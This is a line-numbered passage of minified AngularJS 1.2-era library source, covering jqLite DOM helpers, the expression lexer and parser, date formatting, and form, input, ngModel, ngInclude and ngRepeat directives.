146 ""===d&&(d="auto"));d=d||b.style[a];8>=R&&(d=""===d?t:d);return d}},attr:function(b,a,c){var d=N(a);if(ob[d])if(A(c))c?(b[a]=!0,b.setAttribute(a,d)):(b[a]=!1,b.removeAttribute(d));else return b[a]||(b.attributes.getNamedItem(a)||y).specified?d:t;else if(A(c))b.setAttribute(a,c);else if(b.getAttribute)return b=b.getAttribute(a,2),null===b?t:b},prop:function(b,a,c){if(A(c))b[a]=c;else return b[a]},text:function(){function b(b,d){var e=a[b.nodeType];if(D(d))return e?b[e]:"";b[e]=d}var a=[];9>R?(a[1]=
147 "innerText",a[3]="nodeValue"):a[1]=a[3]="textContent";b.$dv="";return b}(),val:function(b,a){if(D(a)){if("SELECT"===Ma(b)&&b.multiple){var c=[];r(b.options,function(a){a.selected&&c.push(a.value||a.text)});return 0===c.length?null:c}return b.value}b.value=a},html:function(b,a){if(D(a))return b.innerHTML;for(var c=0,d=b.childNodes;c<d.length;c++)Ja(d[c]);b.innerHTML=a},empty:pc},function(b,a){S.prototype[a]=function(a,d){var e,f,g=this.length;if(b!==pc&&(2==b.length&&b!==Nb&&b!==oc?a:d)===t){if(T(a)){for(e=
148 0;e<g;e++)if(b===Mb)b(this[e],a);else for(f in a)b(this[e],f,a[f]);return this}e=b.$dv;g=e===t?Math.min(g,1):g;for(f=0;f<g;f++){var k=b(this[f],a,d);e=e?e+k:k}return e}for(e=0;e<g;e++)b(this[e],a,d);return this}});r({removeData:Lb,dealoc:Ja,on:function a(c,d,e,f){if(A(f))throw Hb("onargs");var g=ma(c,"events"),k=ma(c,"handle");g||ma(c,"events",g={});k||ma(c,"handle",k=oe(c,g));r(d.split(" "),function(d){var f=g[d];if(!f){if("mouseenter"==d||"mouseleave"==d){var l=X.body.contains||X.body.compareDocumentPosition?
149 function(a,c){var d=9===a.nodeType?a.documentElement:a,e=c&&c.parentNode;return a===e||!!(e&&1===e.nodeType&&(d.contains?d.contains(e):a.compareDocumentPosition&&a.compareDocumentPosition(e)&16))}:function(a,c){if(c)for(;c=c.parentNode;)if(c===a)return!0;return!1};g[d]=[];a(c,{mouseleave:"mouseout",mouseenter:"mouseover"}[d],function(a){var c=a.relatedTarget;c&&(c===this||l(this,c))||k(a,d)})}else rb(c,d,k),g[d]=[];f=g[d]}f.push(e)})},off:nc,one:function(a,c,d){a=u(a);a.on(c,function f(){a.off(c,
150 d);a.off(c,f)});a.on(c,d)},replaceWith:function(a,c){var d,e=a.parentNode;Ja(a);r(new S(c),function(c){d?e.insertBefore(c,d.nextSibling):e.replaceChild(c,a);d=c})},children:function(a){var c=[];r(a.childNodes,function(a){1===a.nodeType&&c.push(a)});return c},contents:function(a){return a.contentDocument||a.childNodes||[]},append:function(a,c){r(new S(c),function(c){1!==a.nodeType&&11!==a.nodeType||a.appendChild(c)})},prepend:function(a,c){if(1===a.nodeType){var d=a.firstChild;r(new S(c),function(c){a.insertBefore(c,
151 d)})}},wrap:function(a,c){c=u(c)[0];var d=a.parentNode;d&&d.replaceChild(c,a);c.appendChild(a)},remove:function(a){Ja(a);var c=a.parentNode;c&&c.removeChild(a)},after:function(a,c){var d=a,e=a.parentNode;r(new S(c),function(a){e.insertBefore(a,d.nextSibling);d=a})},addClass:mb,removeClass:lb,toggleClass:function(a,c,d){c&&r(c.split(" "),function(c){var f=d;D(f)&&(f=!Nb(a,c));(f?mb:lb)(a,c)})},parent:function(a){return(a=a.parentNode)&&11!==a.nodeType?a:null},next:function(a){if(a.nextElementSibling)return a.nextElementSibling;
152 for(a=a.nextSibling;null!=a&&1!==a.nodeType;)a=a.nextSibling;return a},find:function(a,c){return a.getElementsByTagName?a.getElementsByTagName(c):[]},clone:Kb,triggerHandler:function(a,c,d){var e,f;e=c.type||c;var g=(ma(a,"events")||{})[e];g&&(e={preventDefault:function(){this.defaultPrevented=!0},isDefaultPrevented:function(){return!0===this.defaultPrevented},stopPropagation:y,type:e,target:a},c.type&&(e=B(e,c)),c=ga(g),f=d?[e].concat(d):[e],r(c,function(c){c.apply(a,f)}))}},function(a,c){S.prototype[c]=
153 function(c,e,f){for(var g,k=0;k<this.length;k++)D(g)?(g=a(this[k],c,e,f),A(g)&&(g=u(g))):Jb(g,a(this[k],c,e,f));return A(g)?g:this};S.prototype.bind=S.prototype.on;S.prototype.unbind=S.prototype.off});ab.prototype={put:function(a,c){this[Ka(a,this.nextUid)]=c},get:function(a){return this[Ka(a,this.nextUid)]},remove:function(a){var c=this[a=Ka(a,this.nextUid)];delete this[a];return c}};var qe=/^function\s*[^\(]*\(\s*([^\)]*)\)/m,re=/,/,se=/^\s*(_?)(\S+?)\1\s*$/,pe=/((\/\/.*$)|(\/\*[\s\S]*?\*\/))/mg,
154 bb=x("$injector"),Le=x("$animate"),Md=["$provide",function(a){this.$$selectors={};this.register=function(c,d){var e=c+"-animation";if(c&&"."!=c.charAt(0))throw Le("notcsel",c);this.$$selectors[c.substr(1)]=e;a.factory(e,d)};this.classNameFilter=function(a){1===arguments.length&&(this.$$classNameFilter=a instanceof RegExp?a:null);return this.$$classNameFilter};this.$get=["$timeout","$$asyncCallback",function(a,d){return{enter:function(a,c,g,k){g?g.after(a):(c&&c[0]||(c=g.parent()),c.append(a));k&&
155 d(k)},leave:function(a,c){a.remove();c&&d(c)},move:function(a,c,d,k){this.enter(a,c,d,k)},addClass:function(a,c,g){c=z(c)?c:H(c)?c.join(" "):"";r(a,function(a){mb(a,c)});g&&d(g)},removeClass:function(a,c,g){c=z(c)?c:H(c)?c.join(" "):"";r(a,function(a){lb(a,c)});g&&d(g)},setClass:function(a,c,g,k){r(a,function(a){mb(a,c);lb(a,g)});k&&d(k)},enabled:y}}]}],ia=x("$compile");ic.$inject=["$provide","$$sanitizeUriProvider"];var ue=/^(x[\:\-_]|data[\:\-_])/i,yc=x("$interpolate"),Me=/^([^\?#]*)(\?([^#]*))?(#(.*))?$/,
156 xe={http:80,https:443,ftp:21},Sb=x("$location");Ub.prototype=Tb.prototype=Bc.prototype={$$html5:!1,$$replace:!1,absUrl:sb("$$absUrl"),url:function(a,c){if(D(a))return this.$$url;var d=Me.exec(a);d[1]&&this.path(decodeURIComponent(d[1]));(d[2]||d[1])&&this.search(d[3]||"");this.hash(d[5]||"",c);return this},protocol:sb("$$protocol"),host:sb("$$host"),port:sb("$$port"),path:Cc("$$path",function(a){return"/"==a.charAt(0)?a:"/"+a}),search:function(a,c){switch(arguments.length){case 0:return this.$$search;
157 case 1:if(z(a))this.$$search=ec(a);else if(T(a))r(a,function(c,e){null==c&&delete a[e]}),this.$$search=a;else throw Sb("isrcharg");break;default:D(c)||null===c?delete this.$$search[a]:this.$$search[a]=c}this.$$compose();return this},hash:Cc("$$hash",Ga),replace:function(){this.$$replace=!0;return this}};var ka=x("$parse"),Fc={},va,Ne=Function.prototype.call,Oe=Function.prototype.apply,Qc=Function.prototype.bind,eb={"null":function(){return null},"true":function(){return!0},"false":function(){return!1},
158 undefined:y,"+":function(a,c,d,e){d=d(a,c);e=e(a,c);return A(d)?A(e)?d+e:d:A(e)?e:t},"-":function(a,c,d,e){d=d(a,c);e=e(a,c);return(A(d)?d:0)-(A(e)?e:0)},"*":function(a,c,d,e){return d(a,c)*e(a,c)},"/":function(a,c,d,e){return d(a,c)/e(a,c)},"%":function(a,c,d,e){return d(a,c)%e(a,c)},"^":function(a,c,d,e){return d(a,c)^e(a,c)},"=":y,"===":function(a,c,d,e){return d(a,c)===e(a,c)},"!==":function(a,c,d,e){return d(a,c)!==e(a,c)},"==":function(a,c,d,e){return d(a,c)==e(a,c)},"!=":function(a,c,d,e){return d(a,
159 c)!=e(a,c)},"<":function(a,c,d,e){return d(a,c)<e(a,c)},">":function(a,c,d,e){return d(a,c)>e(a,c)},"<=":function(a,c,d,e){return d(a,c)<=e(a,c)},">=":function(a,c,d,e){return d(a,c)>=e(a,c)},"&&":function(a,c,d,e){return d(a,c)&&e(a,c)},"||":function(a,c,d,e){return d(a,c)||e(a,c)},"&":function(a,c,d,e){return d(a,c)&e(a,c)},"|":function(a,c,d,e){return e(a,c)(a,c,d(a,c))},"!":function(a,c,d){return!d(a,c)}},Pe={n:"\n",f:"\f",r:"\r",t:"\t",v:"\v","'":"'",'"':'"'},Wb=function(a){this.options=a};Wb.prototype=
160 {constructor:Wb,lex:function(a){this.text=a;this.index=0;this.ch=t;this.lastCh=":";for(this.tokens=[];this.index<this.text.length;){this.ch=this.text.charAt(this.index);if(this.is("\"'"))this.readString(this.ch);else if(this.isNumber(this.ch)||this.is(".")&&this.isNumber(this.peek()))this.readNumber();else if(this.isIdent(this.ch))this.readIdent();else if(this.is("(){}[].,;:?"))this.tokens.push({index:this.index,text:this.ch}),this.index++;else if(this.isWhitespace(this.ch)){this.index++;continue}else{a=
161 this.ch+this.peek();var c=a+this.peek(2),d=eb[this.ch],e=eb[a],f=eb[c];f?(this.tokens.push({index:this.index,text:c,fn:f}),this.index+=3):e?(this.tokens.push({index:this.index,text:a,fn:e}),this.index+=2):d?(this.tokens.push({index:this.index,text:this.ch,fn:d}),this.index+=1):this.throwError("Unexpected next character ",this.index,this.index+1)}this.lastCh=this.ch}return this.tokens},is:function(a){return-1!==a.indexOf(this.ch)},was:function(a){return-1!==a.indexOf(this.lastCh)},peek:function(a){a=
162 a||1;return this.index+a<this.text.length?this.text.charAt(this.index+a):!1},isNumber:function(a){return"0"<=a&&"9">=a},isWhitespace:function(a){return" "===a||"\r"===a||"\t"===a||"\n"===a||"\v"===a||"\u00a0"===a},isIdent:function(a){return"a"<=a&&"z">=a||"A"<=a&&"Z">=a||"_"===a||"$"===a},isExpOperator:function(a){return"-"===a||"+"===a||this.isNumber(a)},throwError:function(a,c,d){d=d||this.index;c=A(c)?"s "+c+"-"+this.index+" ["+this.text.substring(c,d)+"]":" "+d;throw ka("lexerr",a,c,this.text);
163 },readNumber:function(){for(var a="",c=this.index;this.index<this.text.length;){var d=N(this.text.charAt(this.index));if("."==d||this.isNumber(d))a+=d;else{var e=this.peek();if("e"==d&&this.isExpOperator(e))a+=d;else if(this.isExpOperator(d)&&e&&this.isNumber(e)&&"e"==a.charAt(a.length-1))a+=d;else if(!this.isExpOperator(d)||e&&this.isNumber(e)||"e"!=a.charAt(a.length-1))break;else this.throwError("Invalid exponent")}this.index++}a*=1;this.tokens.push({index:c,text:a,literal:!0,constant:!0,fn:function(){return a}})},
164 readIdent:function(){for(var a=this,c="",d=this.index,e,f,g,k;this.index<this.text.length;){k=this.text.charAt(this.index);if("."===k||this.isIdent(k)||this.isNumber(k))"."===k&&(e=this.index),c+=k;else break;this.index++}if(e)for(f=this.index;f<this.text.length;){k=this.text.charAt(f);if("("===k){g=c.substr(e-d+1);c=c.substr(0,e-d);this.index=f;break}if(this.isWhitespace(k))f++;else break}d={index:d,text:c};if(eb.hasOwnProperty(c))d.fn=eb[c],d.literal=!0,d.constant=!0;else{var m=Ec(c,this.options,
165 this.text);d.fn=B(function(a,c){return m(a,c)},{assign:function(d,e){return tb(d,c,e,a.text,a.options)}})}this.tokens.push(d);g&&(this.tokens.push({index:e,text:"."}),this.tokens.push({index:e+1,text:g}))},readString:function(a){var c=this.index;this.index++;for(var d="",e=a,f=!1;this.index<this.text.length;){var g=this.text.charAt(this.index),e=e+g;if(f)"u"===g?(f=this.text.substring(this.index+1,this.index+5),f.match(/[\da-f]{4}/i)||this.throwError("Invalid unicode escape [\\u"+f+"]"),this.index+=
166 4,d+=String.fromCharCode(parseInt(f,16))):d+=Pe[g]||g,f=!1;else if("\\"===g)f=!0;else{if(g===a){this.index++;this.tokens.push({index:c,text:e,string:d,literal:!0,constant:!0,fn:function(){return d}});return}d+=g}this.index++}this.throwError("Unterminated quote",c)}};var db=function(a,c,d){this.lexer=a;this.$filter=c;this.options=d};db.ZERO=B(function(){return 0},{constant:!0});db.prototype={constructor:db,parse:function(a){this.text=a;this.tokens=this.lexer.lex(a);a=this.statements();0!==this.tokens.length&&
167 this.throwError("is an unexpected token",this.tokens[0]);a.literal=!!a.literal;a.constant=!!a.constant;return a},primary:function(){var a;if(this.expect("("))a=this.filterChain(),this.consume(")");else if(this.expect("["))a=this.arrayDeclaration();else if(this.expect("{"))a=this.object();else{var c=this.expect();(a=c.fn)||this.throwError("not a primary expression",c);a.literal=!!c.literal;a.constant=!!c.constant}for(var d;c=this.expect("(","[",".");)"("===c.text?(a=this.functionCall(a,d),d=null):
168 "["===c.text?(d=a,a=this.objectIndex(a)):"."===c.text?(d=a,a=this.fieldAccess(a)):this.throwError("IMPOSSIBLE");return a},throwError:function(a,c){throw ka("syntax",c.text,a,c.index+1,this.text,this.text.substring(c.index));},peekToken:function(){if(0===this.tokens.length)throw ka("ueoe",this.text);return this.tokens[0]},peek:function(a,c,d,e){if(0<this.tokens.length){var f=this.tokens[0],g=f.text;if(g===a||g===c||g===d||g===e||!(a||c||d||e))return f}return!1},expect:function(a,c,d,e){return(a=this.peek(a,
169 c,d,e))?(this.tokens.shift(),a):!1},consume:function(a){this.expect(a)||this.throwError("is unexpected, expecting ["+a+"]",this.peek())},unaryFn:function(a,c){return B(function(d,e){return a(d,e,c)},{constant:c.constant})},ternaryFn:function(a,c,d){return B(function(e,f){return a(e,f)?c(e,f):d(e,f)},{constant:a.constant&&c.constant&&d.constant})},binaryFn:function(a,c,d){return B(function(e,f){return c(e,f,a,d)},{constant:a.constant&&d.constant})},statements:function(){for(var a=[];;)if(0<this.tokens.length&&
170 !this.peek("}",")",";","]")&&a.push(this.filterChain()),!this.expect(";"))return 1===a.length?a[0]:function(c,d){for(var e,f=0;f<a.length;f++){var g=a[f];g&&(e=g(c,d))}return e}},filterChain:function(){for(var a=this.expression(),c;;)if(c=this.expect("|"))a=this.binaryFn(a,c.fn,this.filter());else return a},filter:function(){for(var a=this.expect(),c=this.$filter(a.text),d=[];;)if(a=this.expect(":"))d.push(this.expression());else{var e=function(a,e,k){k=[k];for(var m=0;m<d.length;m++)k.push(d[m](a,
171 e));return c.apply(a,k)};return function(){return e}}},expression:function(){return this.assignment()},assignment:function(){var a=this.ternary(),c,d;return(d=this.expect("="))?(a.assign||this.throwError("implies assignment but ["+this.text.substring(0,d.index)+"] can not be assigned to",d),c=this.ternary(),function(d,f){return a.assign(d,c(d,f),f)}):a},ternary:function(){var a=this.logicalOR(),c,d;if(this.expect("?")){c=this.assignment();if(d=this.expect(":"))return this.ternaryFn(a,c,this.assignment());
172 this.throwError("expected :",d)}else return a},logicalOR:function(){for(var a=this.logicalAND(),c;;)if(c=this.expect("||"))a=this.binaryFn(a,c.fn,this.logicalAND());else return a},logicalAND:function(){var a=this.equality(),c;if(c=this.expect("&&"))a=this.binaryFn(a,c.fn,this.logicalAND());return a},equality:function(){var a=this.relational(),c;if(c=this.expect("==","!=","===","!=="))a=this.binaryFn(a,c.fn,this.equality());return a},relational:function(){var a=this.additive(),c;if(c=this.expect("<",
173 ">","<=",">="))a=this.binaryFn(a,c.fn,this.relational());return a},additive:function(){for(var a=this.multiplicative(),c;c=this.expect("+","-");)a=this.binaryFn(a,c.fn,this.multiplicative());return a},multiplicative:function(){for(var a=this.unary(),c;c=this.expect("*","/","%");)a=this.binaryFn(a,c.fn,this.unary());return a},unary:function(){var a;return this.expect("+")?this.primary():(a=this.expect("-"))?this.binaryFn(db.ZERO,a.fn,this.unary()):(a=this.expect("!"))?this.unaryFn(a.fn,this.unary()):
174 this.primary()},fieldAccess:function(a){var c=this,d=this.expect().text,e=Ec(d,this.options,this.text);return B(function(c,d,k){return e(k||a(c,d))},{assign:function(e,g,k){(k=a(e,k))||a.assign(e,k={});return tb(k,d,g,c.text,c.options)}})},objectIndex:function(a){var c=this,d=this.expression();this.consume("]");return B(function(e,f){var g=a(e,f),k=d(e,f),m;ja(k,c.text);if(!g)return t;(g=Oa(g[k],c.text))&&(g.then&&c.options.unwrapPromises)&&(m=g,"$$v"in g||(m.$$v=t,m.then(function(a){m.$$v=a})),g=
175 g.$$v);return g},{assign:function(e,f,g){var k=ja(d(e,g),c.text);(g=Oa(a(e,g),c.text))||a.assign(e,g={});return g[k]=f}})},functionCall:function(a,c){var d=[];if(")"!==this.peekToken().text){do d.push(this.expression());while(this.expect(","))}this.consume(")");var e=this;return function(f,g){for(var k=[],m=c?c(f,g):f,h=0;h<d.length;h++)k.push(d[h](f,g));h=a(f,g,m)||y;Oa(m,e.text);var l=e.text;if(h){if(h.constructor===h)throw ka("isecfn",l);if(h===Ne||h===Oe||Qc&&h===Qc)throw ka("isecff",l);}k=h.apply?
176 h.apply(m,k):h(k[0],k[1],k[2],k[3],k[4]);return Oa(k,e.text)}},arrayDeclaration:function(){var a=[],c=!0;if("]"!==this.peekToken().text){do{if(this.peek("]"))break;var d=this.expression();a.push(d);d.constant||(c=!1)}while(this.expect(","))}this.consume("]");return B(function(c,d){for(var g=[],k=0;k<a.length;k++)g.push(a[k](c,d));return g},{literal:!0,constant:c})},object:function(){var a=[],c=!0;if("}"!==this.peekToken().text){do{if(this.peek("}"))break;var d=this.expect(),d=d.string||d.text;this.consume(":");
177 var e=this.expression();a.push({key:d,value:e});e.constant||(c=!1)}while(this.expect(","))}this.consume("}");return B(function(c,d){for(var e={},m=0;m<a.length;m++){var h=a[m];e[h.key]=h.value(c,d)}return e},{literal:!0,constant:c})}};var Vb={},wa=x("$sce"),fa={HTML:"html",CSS:"css",URL:"url",RESOURCE_URL:"resourceUrl",JS:"js"},V=X.createElement("a"),Hc=ua(Q.location.href,!0);mc.$inject=["$provide"];Ic.$inject=["$locale"];Kc.$inject=["$locale"];var Nc=".",He={yyyy:Y("FullYear",4),yy:Y("FullYear",
178 2,0,!0),y:Y("FullYear",1),MMMM:ub("Month"),MMM:ub("Month",!0),MM:Y("Month",2,1),M:Y("Month",1,1),dd:Y("Date",2),d:Y("Date",1),HH:Y("Hours",2),H:Y("Hours",1),hh:Y("Hours",2,-12),h:Y("Hours",1,-12),mm:Y("Minutes",2),m:Y("Minutes",1),ss:Y("Seconds",2),s:Y("Seconds",1),sss:Y("Milliseconds",3),EEEE:ub("Day"),EEE:ub("Day",!0),a:function(a,c){return 12>a.getHours()?c.AMPMS[0]:c.AMPMS[1]},Z:function(a){a=-1*a.getTimezoneOffset();return a=(0<=a?"+":"")+(Xb(Math[0<a?"floor":"ceil"](a/60),2)+Xb(Math.abs(a%60),
179 2))}},Ge=/((?:[^yMdHhmsaZE']+)|(?:'(?:[^']|'')*')|(?:E+|y+|M+|d+|H+|h+|m+|s+|a|Z))(.*)/,Fe=/^\-?\d+$/;Jc.$inject=["$locale"];var De=$(N),Ee=$(Ia);Lc.$inject=["$parse"];var dd=$({restrict:"E",compile:function(a,c){8>=R&&(c.href||c.name||c.$set("href",""),a.append(X.createComment("IE fix")));if(!c.href&&!c.xlinkHref&&!c.name)return function(a,c){var f="[object SVGAnimatedString]"===ya.call(c.prop("href"))?"xlink:href":"href";c.on("click",function(a){c.attr(f)||a.preventDefault()})}}}),Fb={};r(ob,function(a,
180 c){if("multiple"!=a){var d=na("ng-"+c);Fb[d]=function(){return{priority:100,link:function(a,f,g){a.$watch(g[d],function(a){g.$set(c,!!a)})}}}}});r(["src","srcset","href"],function(a){var c=na("ng-"+a);Fb[c]=function(){return{priority:99,link:function(d,e,f){var g=a,k=a;"href"===a&&"[object SVGAnimatedString]"===ya.call(e.prop("href"))&&(k="xlinkHref",f.$attr[k]="xlink:href",g=null);f.$observe(c,function(c){c?(f.$set(k,c),R&&g&&e.prop(g,f[k])):"href"===a&&f.$set(k,null)})}}}});var xb={$addControl:y,
181 $removeControl:y,$setValidity:y,$setDirty:y,$setPristine:y};Oc.$inject=["$element","$attrs","$scope","$animate"];var Rc=function(a){return["$timeout",function(c){return{name:"form",restrict:a?"EAC":"E",controller:Oc,compile:function(){return{pre:function(a,e,f,g){if(!f.action){var k=function(a){a.preventDefault?a.preventDefault():a.returnValue=!1};rb(e[0],"submit",k);e.on("$destroy",function(){c(function(){Za(e[0],"submit",k)},0,!1)})}var m=e.parent().controller("form"),h=f.name||f.ngForm;h&&tb(a,
182 h,g,h);if(m)e.on("$destroy",function(){m.$removeControl(g);h&&tb(a,h,t,h);B(g,xb)})}}}}}]},ed=Rc(),rd=Rc(!0),Qe=/^(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?$/,Re=/^[a-z0-9!#$%&'*+\/=?^_`{|}~.-]+@[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i,Se=/^\s*(\-|\+)?(\d+|(\d*(\.\d*)))\s*$/,Sc={text:zb,number:function(a,c,d,e,f,g){zb(a,c,d,e,f,g);e.$parsers.push(function(a){var c=e.$isEmpty(a);if(c||Se.test(a))return e.$setValidity("number",!0),""===
183 a?null:c?a:parseFloat(a);e.$setValidity("number",!1);return t});Ie(e,"number",Te,null,e.$$validityState);e.$formatters.push(function(a){return e.$isEmpty(a)?"":""+a});d.min&&(a=function(a){var c=parseFloat(d.min);return ra(e,"min",e.$isEmpty(a)||a>=c,a)},e.$parsers.push(a),e.$formatters.push(a));d.max&&(a=function(a){var c=parseFloat(d.max);return ra(e,"max",e.$isEmpty(a)||a<=c,a)},e.$parsers.push(a),e.$formatters.push(a));e.$formatters.push(function(a){return ra(e,"number",e.$isEmpty(a)||Ab(a),a)})},
184 url:function(a,c,d,e,f,g){zb(a,c,d,e,f,g);a=function(a){return ra(e,"url",e.$isEmpty(a)||Qe.test(a),a)};e.$formatters.push(a);e.$parsers.push(a)},email:function(a,c,d,e,f,g){zb(a,c,d,e,f,g);a=function(a){return ra(e,"email",e.$isEmpty(a)||Re.test(a),a)};e.$formatters.push(a);e.$parsers.push(a)},radio:function(a,c,d,e){D(d.name)&&c.attr("name",gb());c.on("click",function(){c[0].checked&&a.$apply(function(){e.$setViewValue(d.value)})});e.$render=function(){c[0].checked=d.value==e.$viewValue};d.$observe("value",
185 e.$render)},checkbox:function(a,c,d,e){var f=d.ngTrueValue,g=d.ngFalseValue;z(f)||(f=!0);z(g)||(g=!1);c.on("click",function(){a.$apply(function(){e.$setViewValue(c[0].checked)})});e.$render=function(){c[0].checked=e.$viewValue};e.$isEmpty=function(a){return a!==f};e.$formatters.push(function(a){return a===f});e.$parsers.push(function(a){return a?f:g})},hidden:y,button:y,submit:y,reset:y,file:y},Te=["badInput"],jc=["$browser","$sniffer",function(a,c){return{restrict:"E",require:"?ngModel",link:function(d,
186 e,f,g){g&&(Sc[N(f.type)]||Sc.text)(d,e,f,g,c,a)}}}],wb="ng-valid",vb="ng-invalid",Pa="ng-pristine",yb="ng-dirty",Ue=["$scope","$exceptionHandler","$attrs","$element","$parse","$animate",function(a,c,d,e,f,g){function k(a,c){c=c?"-"+kb(c,"-"):"";g.removeClass(e,(a?vb:wb)+c);g.addClass(e,(a?wb:vb)+c)}this.$modelValue=this.$viewValue=Number.NaN;this.$parsers=[];this.$formatters=[];this.$viewChangeListeners=[];this.$pristine=!0;this.$dirty=!1;this.$valid=!0;this.$invalid=!1;this.$name=d.name;var m=f(d.ngModel),
187 h=m.assign;if(!h)throw x("ngModel")("nonassign",d.ngModel,ha(e));this.$render=y;this.$isEmpty=function(a){return D(a)||""===a||null===a||a!==a};var l=e.inheritedData("$formController")||xb,n=0,p=this.$error={};e.addClass(Pa);k(!0);this.$setValidity=function(a,c){p[a]!==!c&&(c?(p[a]&&n--,n||(k(!0),this.$valid=!0,this.$invalid=!1)):(k(!1),this.$invalid=!0,this.$valid=!1,n++),p[a]=!c,k(c,a),l.$setValidity(a,c,this))};this.$setPristine=function(){this.$dirty=!1;this.$pristine=!0;g.removeClass(e,yb);g.addClass(e,
188 Pa)};this.$setViewValue=function(d){this.$viewValue=d;this.$pristine&&(this.$dirty=!0,this.$pristine=!1,g.removeClass(e,Pa),g.addClass(e,yb),l.$setDirty());r(this.$parsers,function(a){d=a(d)});this.$modelValue!==d&&(this.$modelValue=d,h(a,d),r(this.$viewChangeListeners,function(a){try{a()}catch(d){c(d)}}))};var q=this;a.$watch(function(){var c=m(a);if(q.$modelValue!==c){var d=q.$formatters,e=d.length;for(q.$modelValue=c;e--;)c=d[e](c);q.$viewValue!==c&&(q.$viewValue=c,q.$render())}return c})}],Gd=
189 function(){return{require:["ngModel","^?form"],controller:Ue,link:function(a,c,d,e){var f=e[0],g=e[1]||xb;g.$addControl(f);a.$on("$destroy",function(){g.$removeControl(f)})}}},Id=$({require:"ngModel",link:function(a,c,d,e){e.$viewChangeListeners.push(function(){a.$eval(d.ngChange)})}}),kc=function(){return{require:"?ngModel",link:function(a,c,d,e){if(e){d.required=!0;var f=function(a){if(d.required&&e.$isEmpty(a))e.$setValidity("required",!1);else return e.$setValidity("required",!0),a};e.$formatters.push(f);
190 e.$parsers.unshift(f);d.$observe("required",function(){f(e.$viewValue)})}}}},Hd=function(){return{require:"ngModel",link:function(a,c,d,e){var f=(a=/\/(.*)\//.exec(d.ngList))&&RegExp(a[1])||d.ngList||",";e.$parsers.push(function(a){if(!D(a)){var c=[];a&&r(a.split(f),function(a){a&&c.push(aa(a))});return c}});e.$formatters.push(function(a){return H(a)?a.join(", "):t});e.$isEmpty=function(a){return!a||!a.length}}}},Ve=/^(true|false|\d+)$/,Jd=function(){return{priority:100,compile:function(a,c){return Ve.test(c.ngValue)?
191 function(a,c,f){f.$set("value",a.$eval(f.ngValue))}:function(a,c,f){a.$watch(f.ngValue,function(a){f.$set("value",a)})}}}},jd=xa({compile:function(a){a.addClass("ng-binding");return function(a,d,e){d.data("$binding",e.ngBind);a.$watch(e.ngBind,function(a){d.text(a==t?"":a)})}}}),ld=["$interpolate",function(a){return function(c,d,e){c=a(d.attr(e.$attr.ngBindTemplate));d.addClass("ng-binding").data("$binding",c);e.$observe("ngBindTemplate",function(a){d.text(a)})}}],kd=["$sce","$parse",function(a,c){return{compile:function(d){d.addClass("ng-binding");
192 return function(d,f,g){f.data("$binding",g.ngBindHtml);var k=c(g.ngBindHtml);d.$watch(function(){return(k(d)||"").toString()},function(c){f.html(a.getTrustedHtml(k(d))||"")})}}}}],md=Yb("",!0),od=Yb("Odd",0),nd=Yb("Even",1),pd=xa({compile:function(a,c){c.$set("ngCloak",t);a.removeClass("ng-cloak")}}),qd=[function(){return{scope:!0,controller:"@",priority:500}}],lc={};r("click dblclick mousedown mouseup mouseover mouseout mousemove mouseenter mouseleave keydown keyup keypress submit focus blur copy cut paste".split(" "),
193 function(a){var c=na("ng-"+a);lc[c]=["$parse",function(d){return{compile:function(e,f){var g=d(f[c]);return function(c,d){d.on(N(a),function(a){c.$apply(function(){g(c,{$event:a})})})}}}}]});var td=["$animate",function(a){return{transclude:"element",priority:600,terminal:!0,restrict:"A",$$tlb:!0,link:function(c,d,e,f,g){var k,m,h;c.$watch(e.ngIf,function(f){Ta(f)?m||(m=c.$new(),g(m,function(c){c[c.length++]=X.createComment(" end ngIf: "+e.ngIf+" ");k={clone:c};a.enter(c,d.parent(),d)})):(h&&(h.remove(),
194 h=null),m&&(m.$destroy(),m=null),k&&(h=Eb(k.clone),a.leave(h,function(){h=null}),k=null))})}}}],ud=["$http","$templateCache","$anchorScroll","$animate","$sce",function(a,c,d,e,f){return{restrict:"ECA",priority:400,terminal:!0,transclude:"element",controller:Ua.noop,compile:function(g,k){var m=k.ngInclude||k.src,h=k.onload||"",l=k.autoscroll;return function(g,k,q,r,L){var v=0,t,u,I,w=function(){u&&(u.remove(),u=null);t&&(t.$destroy(),t=null);I&&(e.leave(I,function(){u=null}),u=I,I=null)};g.$watch(f.parseAsResourceUrl(m),
195 function(f){var m=function(){!A(l)||l&&!g.$eval(l)||d()},q=++v;f?(a.get(f,{cache:c}).success(function(a){if(q===v){var c=g.$new();r.template=a;a=L(c,function(a){w();e.enter(a,null,k,m)});t=c;I=a;t.$emit("$includeContentLoaded");g.$eval(h)}}).error(function(){q===v&&w()}),g.$emit("$includeContentRequested")):(w(),r.template=null)})}}}}],Kd=["$compile",function(a){return{restrict:"ECA",priority:-400,require:"ngInclude",link:function(c,d,e,f){d.html(f.template);a(d.contents())(c)}}}],vd=xa({priority:450,
196 compile:function(){return{pre:function(a,c,d){a.$eval(d.ngInit)}}}}),wd=xa({terminal:!0,priority:1E3}),xd=["$locale","$interpolate",function(a,c){var d=/{}/g;return{restrict:"EA",link:function(e,f,g){var k=g.count,m=g.$attr.when&&f.attr(g.$attr.when),h=g.offset||0,l=e.$eval(m)||{},n={},p=c.startSymbol(),q=c.endSymbol(),s=/^when(Minus)?(.+)$/;r(g,function(a,c){s.test(c)&&(l[N(c.replace("when","").replace("Minus","-"))]=f.attr(g.$attr[c]))});r(l,function(a,e){n[e]=c(a.replace(d,p+k+"-"+h+q))});e.$watch(function(){var c=
197 parseFloat(e.$eval(k));if(isNaN(c))return"";c in l||(c=a.pluralCat(c-h));return n[c](e,f,!0)},function(a){f.text(a)})}}}],yd=["$parse","$animate",function(a,c){var d=x("ngRepeat");return{transclude:"element",priority:1E3,terminal:!0,$$tlb:!0,link:function(e,f,g,k,m){var h=g.ngRepeat,l=h.match(/^\s*([\s\S]+?)\s+in\s+([\s\S]+?)(?:\s+track\s+by\s+([\s\S]+?))?\s*$/),n,p,q,s,t,v,C={$id:Ka};if(!l)throw d("iexp",h);g=l[1];k=l[2];(l=l[3])?(n=a(l),p=function(a,c,d){v&&(C[v]=a);C[t]=c;C.$index=d;return n(e,
